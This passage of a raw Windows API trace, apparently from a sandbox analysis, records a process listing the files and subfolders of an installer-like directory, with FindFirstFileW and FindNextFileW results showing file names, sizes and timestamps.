lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.021] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.021] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.021] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.021] FindClose (in: hFindFile=0x10d130 | out: hFindFile=0x10d130) returned 1 [0047.021] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.021] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="2070", cAlternateFileName="")) returned 1 [0047.021] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10ca30 [0047.022] FindNextFileW (in: hFindFile=0x10ca30, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.022] FindNextFileW (in: hFindFile=0x10ca30, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.022] FindNextFileW (in: hFindFile=0x10ca30, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.022] FindNextFileW (in: hFindFile=0x10ca30, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.022] FindNextFileW (in: hFindFile=0x10ca30, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.022] FindClose (in: hFindFile=0x10ca30 | out: hFindFile=0x10ca30) returned 1 [0047.022] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.022] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="3076", cAlternateFileName="")) returned 1 [0047.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10ca70 [0047.022] FindNextFileW (in: hFindFile=0x10ca70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.022] FindNextFileW (in: hFindFile=0x10ca70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.022] FindNextFileW (in: hFindFile=0x10ca70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.022] FindNextFileW (in: hFindFile=0x10ca70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.023] FindNextFileW (in: hFindFile=0x10ca70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.023] FindClose (in: hFindFile=0x10ca70 | out: hFindFile=0x10ca70) returned 1 [0047.023] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.023] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="3082", cAlternateFileName="")) returned 1 [0047.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10d0f0 [0047.023] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.023] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.023] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.023] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.023] FindNextFileW (in: hFindFile=0x10d0f0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.023] FindClose (in: hFindFile=0x10d0f0 | out: hFindFile=0x10d0f0) returned 1 [0047.023] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.023] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Client", cAlternateFileName="")) returned 1 [0047.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10ceb0 [0047.023] FindNextFileW (in: hFindFile=0x10ceb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.024] FindNextFileW (in: hFindFile=0x10ceb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0047.024] FindNextFileW (in: hFindFile=0x10ceb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0047.024] FindNextFileW (in: hFindFile=0x10ceb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0047.024] FindClose (in: hFindFile=0x10ceb0 | out: hFindFile=0x10ceb0) returned 1 [0047.024] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.024] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0047.024] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0047.024] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Extended", cAlternateFileName="")) returned 1 [0047.024] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cfb0 [0047.024] FindNextFileW (in: hFindFile=0x10cfb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.024] FindNextFileW (in: hFindFile=0x10cfb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0047.024] FindNextFileW (in: hFindFile=0x10cfb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0047.024] FindNextFileW (in: hFindFile=0x10cfb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0047.024] FindClose (in: hFindFile=0x10cfb0 | out: hFindFile=0x10cfb0) returned 1 [0047.025] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.025] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Graphics", cAlternateFileName="")) returned 1 [0047.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10caf0 [0047.037] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.037] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0047.037] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0047.037] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, 